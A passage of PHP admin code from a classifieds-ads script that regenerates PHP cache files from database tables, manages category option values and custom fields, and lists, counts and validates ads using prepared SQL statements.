/////////////////////////////////

function create_cache_val_data()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."val_data ORDER BY pos_val_data";
	$req = $bdd->prepare($sql);

	$req->execute(); 

	$result = $req->fetchAll();
	
$cache_val_data = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Data values
////////////////////////////////// '. "\n" .' 
$cache_val_data = array(';
	
	foreach($result as $v)
	{
		$id_val_data = (int) $v['id_val_data'];
		$pos_val_data = (int) $v['pos_val_data'];
		$id_cat_opt = (int) $v['id_cat_opt'];
		$par_cat_opt = (int) $v['par_cat_opt'];
		
		$sql = "SELECT * FROM ". PREFIX ."val_data_lang WHERE id_val_data = :id_val_data ORDER BY id_val_data_lang";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_val_data', $id_val_data);
	
		$req->execute();
	
		$result = $req->fetchAll();
		
		$req->closeCursor();
		
$cache_val_data .= ''. "\n" .''. $id_val_data .'=>
array(
\'id_val_data\' => \''. $id_val_data .'\',
\'pos_val_data\' => \''. $pos_val_data .'\',';

foreach($result as $v)
{
	$cache_val_data .= ''. "\n" .'\'val_data_'. $v['code_lang'] .'\' => \''. addslashes($v['val_data_lang']) .'\',';
}
	
$cache_val_data .= ''. "\n" .'\'id_cat_opt\' => \''. $id_cat_opt .'\',
\'par_cat_opt\' => \''. $par_cat_opt .'\',
),';
	}
	
$cache_val_data .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_val_data.php', $cache_val_data);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_val_data.php');

	return true;
}

////////////////////////////////
//Caching checkbox value
/////////////////////////////////

function create_cache_val_check()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."val_check ORDER BY pos_val_check";
	$req = $bdd->prepare($sql);

	$req->execute(); 

	$result = $req->fetchAll();
	
$cache_val_check = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Checkbox values
////////////////////////////////// '. "\n" .' 
$cache_val_check = array(';
	
	foreach($result as $v)
	{
		$id_val_check = (int) $v['id_val_check'];
		$pos_val_check = (int) $v['pos_val_check'];
		$id_cat_opt = (int) $v['id_cat_opt'];
		
		$sql = "SELECT * FROM ". PREFIX ."val_check_lang WHERE id_val_check = :id_val_check ORDER BY id_val_check_lang";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_val_check', $id_val_check);
	
		$req->execute();
	
		$result = $req->fetchAll();
		
		$req->closeCursor();
		
$cache_val_check .= ''. "\n" .''. $id_val_check .'=>
array(
\'id_val_check\' => \''. $id_val_check .'\',
\'pos_val_check\' => \''. $pos_val_check .'\',';

foreach($result as $v)
{
	$cache_val_check .= ''. "\n" .'\'val_check_'. $v['code_lang'] .'\' => \''. addslashes($v['val_check_lang']) .'\',';
}
	
$cache_val_check .= ''. "\n" .'\'id_cat_opt\' => \''. $id_cat_opt .'\',),';
	}
	
$cache_val_check .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_val_check.php', $cache_val_check);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_val_check.php');

	return true;
}

////////////////////////////////
//Caching price value
/////////////////////////////////

function create_cache_val_price()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."val_price ORDER BY val_price";
	$req = $bdd->prepare($sql);

	$req->execute(); 

	$result = $req->fetchAll();
	
$cache_val_price = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Price values
////////////////////////////////// '. "\n" .' 
$cache_val_price = array(';
	
	foreach($result as $v)
	{
		$id_val_price = (int) $v['id_val_price'];
		$val_price = (int) $v['val_price'];
		$id_cat_opt = (int) $v['id_cat_opt'];
		
$cache_val_price .= ''. "\n" .''. $id_val_price .'=>
array(
\'id_val_price\' => \''. $id_val_price .'\',
\'val_price\' => \''. $val_price .'\',
\'id_cat_opt\' => \''. $id_cat_opt .'\',
),';
	}
	
$cache_val_price .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_val_price.php', $cache_val_price);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_val_price.php');	

	return true;
}

////////////////////////////////
//Update a category option value
///////////////////////////////////

function update_values($array, $l, $id_val, $id_cat_opt, $par_cat_opt)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	if($l == 1)
	{
		$sql = "UPDATE ". PREFIX ."val_digital SET val_digital = :val_digital WHERE id_val_digital = :id_val_digital";
		$req = $bdd->prepare($sql);

		$req->bindValue('val_digital', $array['val']);
		$req->bindValue('id_val_digital', $id_val);
		$req->execute();
		$req->closeCursor();
	}
	elseif($l == 2)
	{
		$sql = "UPDATE ". PREFIX ."val_data SET par_cat_opt = :par_cat_opt WHERE id_val_data = :id_val_data";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('par_cat_opt', $par_cat_opt);
		$req->bindValue('id_val_data', $id_val);
		
		$req->execute();
		$req->closeCursor();
		
		$sql = "INSERT INTO ". PREFIX ."val_data_lang VALUES(NULL, :id_val_data, :code_lang, :val_data_lang, :id_cat_opt) ON DUPLICATE KEY UPDATE val_data_lang = VALUES(val_data_lang)";
		$req = $bdd->prepare($sql);
		
		foreach($cache_lang as $v)
		{
			$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
			$active = (int) $v['active'];
			
			if($active == 1)
			{
				$req->bindValue('id_val_data', $id_val);
				$req->bindValue('code_lang', $code_lang);
				$req->bindValue('val_data_lang', $array['val_'. $code_lang]);
				$req->bindValue('id_cat_opt', $id_cat_opt);
				
				$req->execute();
				$req->closeCursor();
			}	
		}
	}
	elseif($l == 3)
	{
		$sql = "INSERT INTO ". PREFIX ."val_check_lang VALUES(NULL, :id_val_check, :code_lang, :val_check_lang, :id_cat_opt) ON DUPLICATE KEY UPDATE val_check_lang = VALUES(val_check_lang)";
		$req = $bdd->prepare($sql);
		
		foreach($cache_lang as $v)
		{
			$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
			$active = (int) $v['active'];
			
			if($active == 1)
			{
				$req->bindValue('id_val_check', $id_val);
				$req->bindValue('code_lang', $code_lang);
				$req->bindValue('val_check_lang', $array['val_'. $code_lang]);
				$req->bindValue('id_cat_opt', $id_cat_opt);
				
				$req->execute();
				$req->closeCursor();
			}	
		}
	}
	else
	{
		$sql = "UPDATE ". PREFIX ."val_price SET val_price = :val_price WHERE id_val_price = :id_val_price";
		$req = $bdd->prepare($sql);

		$req->bindValue('val_price', $array['val']);
		$req->bindValue('id_val_price', $id_val);
		$req->execute();
		$req->closeCursor();
	}
	
	return true;
}

////////////////////////////////
//Delete a category option value
///////////////////////////////////

function delete_value($l, $id_val)
{
	global $conn;
	
	$bdd = $conn;
	
	if($l == 1)
	{
		$sql = "DELETE FROM ". PREFIX ."val_digital WHERE id_val_digital = :id_val_digital";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_val_digital', $id_val);
		$req->execute();
		$req->closeCursor();
	}
	elseif($l == 2)
	{
		$sql = "UPDATE ". PREFIX ."val_data SET pos_val_data = (pos_val_data - 1) WHERE pos_val_data > (SELECT * FROM (SELECT pos_val_data FROM ". PREFIX ."val_data WHERE id_val_data = :id_val_data) imaginary_table)";
		$req = $bdd->prepare($sql);
	
		$req->bindValue('id_val_data', $id_val);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."val_data WHERE id_val_data = :id_val_data";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_val_data', $id_val);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."val_data_lang WHERE id_val_data = :id_val_data";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_val_data', $id_val);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."ads_data WHERE id_val_data = :id_val_data";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_val_data', $id_val);
		$req->execute();
		$req->closeCursor();
	}
	elseif($l == 3)
	{
		$sql = "UPDATE ". PREFIX ."val_check SET pos_val_check = (pos_val_check - 1) WHERE pos_val_check > (SELECT * FROM (SELECT pos_val_check FROM ". PREFIX ."val_check WHERE id_val_check = :id_val_check) imaginary_table)";
		$req = $bdd->prepare($sql);
	
		$req->bindValue('id_val_check', $id_val);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."val_check WHERE id_val_check = :id_val_check";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_val_check', $id_val);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."val_check_lang WHERE id_val_check = :id_val_check";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_val_check', $id_val);
		$req->execute();
		$req->closeCursor();
		
		$sql = "DELETE FROM ". PREFIX ."ads_check WHERE id_val_check = :id_val_check";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_val_check', $id_val);
		$req->execute();
		$req->closeCursor();
	}
	else
	{
		$sql = "DELETE FROM ". PREFIX ."val_price WHERE id_val_price = :id_val_price";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_val_price', $id_val);
		$req->execute();
		$req->closeCursor();
	}
	
	return true;
}

////////////////////////////////
//Applying options top subcategories 
////////////////////////////////

function add_opts($opts_price, $opts_digital, $opts_data, $ops_checkbox, $id_cat)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "DELETE FROM ". PREFIX ."search_price WHERE id_cat = :cat";
	$req = $bdd->prepare($sql);

	$req->bindValue('cat', $id_cat);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."search_digital WHERE id_cat = :cat";
	$req = $bdd->prepare($sql);

	$req->bindValue('cat', $id_cat);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."search_data WHERE id_cat = :cat";
	$req = $bdd->prepare($sql);

	$req->bindValue('cat', $id_cat);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."search_check WHERE id_cat = :cat";
	$req = $bdd->prepare($sql);

	$req->bindValue('cat', $id_cat);
	$req->execute();
	$req->closeCursor();
	
	if(!empty($opts_price))
	{
		$sql = "INSERT INTO ". PREFIX ."search_price VALUES(NULL, :id_cat, :id_opt_cat)";
		$req = $bdd->prepare($sql);

		$req->bindValue('id_cat', $id_cat);
		$req->bindValue('id_opt_cat', $opts_price);
		$req->execute();
		$req->closeCursor();
	}
	
	if(is_array($opts_digital))
	{
		foreach($opts_digital as $id_opt_cat)
		{
			$sql = "INSERT INTO ". PREFIX ."search_digital VALUES(NULL, :id_cat, :id_opt_cat)";
			$req = $bdd->prepare($sql);

			$req->bindValue('id_cat', $id_cat);
			$req->bindValue('id_opt_cat', $id_opt_cat);
			$req->execute();
			$req->closeCursor();
		}
	}
	
	if(is_array($opts_data))
	{
		foreach($opts_data as $id_opt_cat)
		{
			$sql = "INSERT INTO ". PREFIX ."search_data VALUES(NULL, :id_cat, :id_opt_cat)";
			$req = $bdd->prepare($sql);

			$req->bindValue('id_cat', $id_cat);
			$req->bindValue('id_opt_cat', $id_opt_cat);
			$req->execute();
			$req->closeCursor();
		}
	}
	
	if(is_array($ops_checkbox))
	{
		foreach($ops_checkbox as $id_opt_cat)
		{
			$sql = "INSERT INTO ". PREFIX ."search_check VALUES(NULL, :id_cat, :id_opt_cat)";
			$req = $bdd->prepare($sql);

			$req->bindValue('id_cat', $id_cat);
			$req->bindValue('id_opt_cat', $id_opt_cat);
			$req->execute();
			$req->closeCursor();
		}
	}

	return true;	
}

////////////////////////////////
//Applying options calendar subcategories 
////////////////////////////////

function add_opt_calendar_doc($id_cat, $calendar, $doc, $comments)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "UPDATE ". PREFIX ."cat SET calendar = :calendar, upload_doc = :upload_doc, comments = :comments WHERE id_cat = :id_cat";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_cat', $id_cat);
	$req->bindValue('calendar', $calendar);
	$req->bindValue('upload_doc', $doc);
	$req->bindValue('comments', $comments);
	$req->execute();
	$req->closeCursor();

	return true;
}

////////////////////////////////
//Caching search price
/////////////////////////////////

function create_cache_search_price()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."search_price ORDER BY id_sea_price";
	$req = $bdd->prepare($sql);

	$req->execute(); 

	$result = $req->fetchAll();
	
$cache_search_price = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Search price
////////////////////////////////// '. "\n" .' 
$cache_search_price = array(';
	
	foreach($result as $v)
	{
		$id_sea_price = (int) $v['id_sea_price'];
		$id_cat = (int) $v['id_cat'];
		$id_cat_opt = (int) $v['id_cat_opt'];
		
$cache_search_price .= ''. "\n" .''. $id_sea_price .'=>
array(
\'id_sea_price\' => \''. $id_sea_price .'\',
\'id_cat\' => \''. $id_cat .'\',
\'id_cat_opt\' => \''. $id_cat_opt .'\',
),';
	}
	
$cache_search_price .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_search_price.php', $cache_search_price);	
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_search_price.php');

	return true;
}

////////////////////////////////
//Caching search digital
/////////////////////////////////

function create_cache_search_digital()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."search_digital ORDER BY id_sea_digital";
	$req = $bdd->prepare($sql);

	$req->execute(); 

	$result = $req->fetchAll();
	
$cache_search_digital = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Search digital
////////////////////////////////// '. "\n" .' 
$cache_search_digital = array(';
	
	foreach($result as $v)
	{
		$id_sea_digital = (int) $v['id_sea_digital'];
		$id_cat = (int) $v['id_cat'];
		$id_cat_opt = (int) $v['id_cat_opt'];
		
$cache_search_digital .= ''. "\n" .''. $id_sea_digital .'=>
array(
\'id_sea_digital\' => \''. $id_sea_digital .'\',
\'id_cat\' => \''. $id_cat .'\',
\'id_cat_opt\' => \''. $id_cat_opt .'\',
),';
	}
	
$cache_search_digital .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_search_digital.php', $cache_search_digital);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_search_digital.php');

	return true;
}

////////////////////////////////
//Caching search data
/////////////////////////////////

function create_cache_search_data()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."search_data ORDER BY id_sea_data";
	$req = $bdd->prepare($sql);

	$req->execute(); 

	$result = $req->fetchAll();
	
$cache_search_data = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Search data
////////////////////////////////// '. "\n" .' 
$cache_search_data = array(';
	
	foreach($result as $v)
	{
		$id_sea_data = (int) $v['id_sea_data'];
		$id_cat = (int) $v['id_cat'];
		$id_cat_opt = (int) $v['id_cat_opt'];
		
$cache_search_data .= ''. "\n" .''. $id_sea_data .'=>
array(
\'id_sea_data\' => \''. $id_sea_data .'\',
\'id_cat\' => \''. $id_cat .'\',
\'id_cat_opt\' => \''. $id_cat_opt .'\',
),';
	}
	
$cache_search_data .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_search_data.php', $cache_search_data);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_search_data.php');

	return true;
}

////////////////////////////////
//Caching search checkbox
/////////////////////////////////

function create_cache_search_check()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."search_check ORDER BY id_sea_check";
	$req = $bdd->prepare($sql);

	$req->execute(); 

	$result = $req->fetchAll();
	
$cache_search_check = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Search checkbox
////////////////////////////////// '. "\n" .' 
$cache_search_check = array(';
	
	foreach($result as $v)
	{
		$id_sea_check = (int) $v['id_sea_check'];
		$id_cat = (int) $v['id_cat'];
		$id_cat_opt = (int) $v['id_cat_opt'];
		
$cache_search_check .= ''. "\n" .''. $id_sea_check .'=>
array(
\'id_sea_check\' => \''. $id_sea_check .'\',
\'id_cat\' => \''. $id_cat .'\',
\'id_cat_opt\' => \''. $id_cat_opt .'\',
),';
	}
	
$cache_search_check .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_search_check.php', $cache_search_check);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_search_check.php');	

	return true;
}

////////////////////////////////
//Caching of enabled/disabled Fields
/////////////////////////////////

function create_cache_param_fields($array)
{
	$act_comp_num = (!empty($array['act_comp_num'])) ? (int) $array['act_comp_num'] : 0;
	$act_city = (!empty($array['act_city'])) ? (int) $array['act_city'] : 0;
	$act_postcode = (!empty($array['act_postcode'])) ? (int) $array['act_postcode'] : 0;
	$act_phone = (!empty($array['act_phone'])) ? (int) $array['act_phone'] : 0;
	$act_price = (!empty($array['act_price'])) ? (int) $array['act_price'] : 0;
	
$cache_param_fields = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Fields settings
//////////////////////////////////  '. "\n" .'
$cache_param_fields = array(
\'act_comp_num\'   =>	\''. $act_comp_num .'\',
\'act_city\'        =>	\''. $act_city .'\',
\'act_postcode\'   	=>	\''. $act_postcode .'\',
\'act_phone\'       =>	\''. $act_phone .'\',
\'act_price\'       =>	\''. $act_price .'\',
);';
	
	file_put_contents('../includes/cache/cache_param_fields.php', $cache_param_fields);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_param_fields.php');

	return true;
}

///////////////////////////////////
//Creating field
//////////////////////////////////
	
function create_field($array, $id_cat)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$type = (!empty($array['type'])) ? (int) $array['type'] : 0;
	$optional = (!empty($array['optional'])) ? (int) $array['optional'] : 0;
	
	$sql = "INSERT INTO ". PREFIX ."fields values(NULL, (SELECT * FROM (SELECT IFNULL(MAX(pos_field), 0) FROM ". PREFIX ."fields) imaginary_table) + 1, :id_cat, :type, :optional)";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_cat', $id_cat);
	$req->bindValue('type', $type);
	$req->bindValue('optional', $optional);
	$req->execute();
	$req->closeCursor();
	
	$id_field = $bdd->lastInsertId();
	
	$sql = "INSERT INTO ". PREFIX ."fields_lang values(NULL, :id_field, :code_lang, :name_field_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$id_lang = (int) $v['id_lang'];
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_field', $id_field);
			$req->bindValue('code_lang', $code_lang);
			$req->bindValue('name_field_lang', $array['name_'. $code_lang]);
			
			$req->execute();
			$req->closeCursor();
		}	
	}
	
	return true;
}

////////////////////////////////
//Caching fields
/////////////////////////////////

function create_cache_fields()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."fields ORDER BY pos_field";
	$req = $bdd->prepare($sql);

	$req->execute(); 

	$result = $req->fetchAll();
	
$cache_fields = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Fields
////////////////////////////////// '. "\n" .' 
$cache_fields = array(';
	
	foreach($result as $v)
	{
		$id_field = (int) $v['id_field'];
		$pos_field = (int) $v['pos_field'];
		$id_cat = (int) $v['id_cat'];
		$type = (int) $v['type'];
		$optional = (int) $v['optional'];
		
		$sql = "SELECT * FROM ". PREFIX ."fields_lang WHERE id_field = :id_field ORDER BY id_field_lang";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_field', $id_field);
	
		$req->execute();
	
		$result = $req->fetchAll();
		
		$req->closeCursor();
		

$cache_fields .= ''. "\n" .''. $id_field .'=>
array(
\'id_field\'  => \''. $id_field .'\',
\'pos_field\' => \''. $pos_field .'\',';

foreach($result as $v)
{
	$cache_fields .= ''. "\n" .'\'name_field_'. $v['code_lang'] .'\' => \''. addslashes($v['name_field_lang']) .'\',';
}

$cache_fields .= ''. "\n" .'\'id_cat\' => \''. $id_cat .'\',
\'type\' => \''. $type .'\',
\'optional\' => \''. $optional .'\',
),';
	}
	
$cache_fields .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_fields.php', $cache_fields);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_fields.php');

	return true;
}

////////////////////////////////
//Updating a field
//////////////////////////////////

function update_field($array, $id_field, $id_cat)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$type = (!empty($array['type'])) ? (int) $array['type'] : 0;
	$optional = (!empty($array['optional'])) ? (int) $array['optional'] : 0;
	
	$sql = "UPDATE ". PREFIX ."fields SET id_cat = :id_cat, type = :type, optional = :optional WHERE id_field = :id_field";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_cat', $id_cat);
	$req->bindValue('type', $type);
	$req->bindValue('optional', $optional);
	$req->bindValue('id_field', $id_field);
	$req->execute();
	$req->closeCursor();
	
	$sql = "INSERT INTO ". PREFIX ."fields_lang values(NULL, :id_field, :code_lang, :name_field_lang) ON DUPLICATE KEY UPDATE name_field_lang = VALUES(name_field_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$id_lang = (int) $v['id_lang'];
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_field', $id_field);
			$req->bindValue('code_lang', $code_lang);
			$req->bindValue('name_field_lang', $array['name_'. $code_lang]);
			
			$req->execute();
			$req->closeCursor();
		}	
	}
	
	return true;					
}

///////////////////////////////////
//Delete a field
//////////////////////////////////

function delete_field($id_field)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "UPDATE ". PREFIX ."fields SET pos_field = (pos_field - 1) WHERE pos_field > (SELECT * FROM (SELECT pos_field FROM ". PREFIX ."fields WHERE id_field = :id_field) imaginary_table)";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_field', $id_field);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."fields WHERE id_field = :id_field";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_field', $id_field);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."fields_lang WHERE id_field = :id_field";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_field', $id_field);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."ads_fields WHERE id_field = :id_field";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_field', $id_field);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Get total number of ads
////////////////////////////////

function get_ad_total_num($state)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT count(*) as total FROM ". PREFIX ."ads_search WHERE state = :state";		
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', $state);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();
	
	$total = $result['total'];
	return $total;
}

////////////////////////////////
//Get number of ads
////////////////////////////////
	
function get_ad_num($state, $array) 
{
	global $conn, $language_adm;
	
	$bdd = $conn;
	
	$id_ad = (!empty($array['id_ad'])) ? (int) $array['id_ad'] : 0;
	$id_reg = (!empty($array['reg'])) ? (int) $array['reg'] : 0;
	$id_cat = (!empty($array['cat'])) ? (int) $array['cat'] : 0;
	
	$condition = '';
	$condition .= (!empty($id_ad)) ? " AND s.id_ad = :id_ad" : '';
	$condition .= (!empty($id_reg)) ? " AND s.id_reg = :id_reg" : '';
	$condition .= (!empty($id_cat)) ? " AND s.id_cat = :id_cat" : '';
	$condition .= (isset($_GET['id_acc'])) ? " AND s.id_acc = :id_acc" : '';
	$condition .= (!empty($array['email'])) ? " AND a.email = :email" : '';
	
	$sql = "SELECT COUNT(*) AS id_ad FROM ". PREFIX ."ads_search s
	LEFT JOIN ". PREFIX ."ads a ON s.id_ad = a.id_ad
	WHERE s.state = :state ". $condition ."";
	$req = $bdd->prepare($sql);

	$req->bindValue('state', $state);
	
	if(!empty($id_ad))
	$req->bindValue('id_ad', $id_ad);
	
	if(!empty($array['reg']))
	$req->bindValue('id_reg', $id_reg);
	
	if(!empty($array['cat']))
	$req->bindValue('id_cat', $id_cat);
	
	if(isset($_GET['id_acc']))
	$req->bindValue('id_acc', $_GET['id_acc']);
	
	if(!empty($array['email']))
	$req->bindValue('email', $array['email']);
	
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();

	return $result['id_ad'];	
}

////////////////////////////////
//Get ads
////////////////////////////////
	
function get_ads($state, $array, $offset, $limit) 
{
	global $conn, $language_adm;
	
	$bdd = $conn;
	
	$id_ad = (!empty($array['id_ad'])) ? (int) $array['id_ad'] : 0;
	$id_reg = (!empty($array['reg'])) ? (int) $array['reg'] : 0;
	$id_cat = (!empty($array['cat'])) ? (int) $array['cat'] : 0;
	$limit = (int) $limit;
	$offset = (int) $offset;
	
	$condition = '';
	$condition .= (!empty($id_ad)) ? " AND s.id_ad = :id_ad" : '';
	$condition .= (!empty($id_reg)) ? " AND s.id_reg = :id_reg" : '';
	$condition .= (!empty($id_cat)) ? " AND s.id_cat = :id_cat" : '';
	$condition .= (!empty($array['email'])) ? " AND a.email = :email" : '';
	$condition .= (isset($_GET['id_acc'])) ? " AND s.id_acc = :id_acc" : '';
	
	$sql = "SELECT s.id_ad, s.id_reg, s.id_county, s.id_cat, s.postcode, s.type, a.title, a.text, s.price, s.date, a.email, a.city, a.phone, a.ip, a.lang, comp.comp_name, comp.comp_num, v.video 
	FROM ". PREFIX ."ads_search s
	LEFT JOIN ". PREFIX ."ads a ON s.id_ad = a.id_ad
	LEFT JOIN ". PREFIX ."ads_compagny comp ON s.id_ad = comp.id_ad
	LEFT JOIN ". PREFIX ."ads_video v ON s.id_ad = v.id_ad
	WHERE s.state = :state ". $condition ." ORDER BY s.date DESC LIMIT $offset, $limit";
	$req = $bdd->prepare($sql);

	$req->bindValue('state', $state);
	
	if(!empty($id_ad))
	$req->bindValue('id_ad', $id_ad);
	
	if(!empty($array['reg']))
	$req->bindValue('id_reg', $id_reg);
	
	if(!empty($array['cat']))
	$req->bindValue('id_cat', $id_cat);
	
	if(!empty($array['email']))
	$req->bindValue('email', $array['email']);
	
	if(isset($_GET['id_acc']))
	$req->bindValue('id_acc', $_GET['id_acc']);
	
	$req->execute();

	$result = $req->fetchAll();
	return $result;	
}

////////////////////////////////
//Get duplicates ad
////////////////////////////////

function get_duplicates($id_ad, $id_reg, $id_county, $postcode, $title, $text)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT id_ad FROM ". PREFIX ."ads_search WHERE state = :state AND id_reg = :id_reg AND id_county = :id_county AND postcode = :postcode AND (title = :title OR text = :text) AND id_ad != :id_ad ORDER BY id_ad";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', 2);
	$req->bindValue('id_reg', $id_reg);
	$req->bindValue('id_county', $id_county);
	$req->bindValue('postcode', $postcode);
	$req->bindValue('title', $title);
	$req->bindValue('text', $text);
	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	
	$result = $req->fetchAll();
	return $result;
}

////////////////////////////////
//Validate ad
////////////////////////////////

function validate_ad($id_ad)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "UPDATE ". PREFIX ."ads_search SET state = :state WHERE id_ad = :id_ad";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('state', 2);
	$req->bindValue('id_ad', $id_ad);
	$req->execute();
	$req->closeCursor();
	
	$sql = "UPDATE ". PREFIX ."shops 
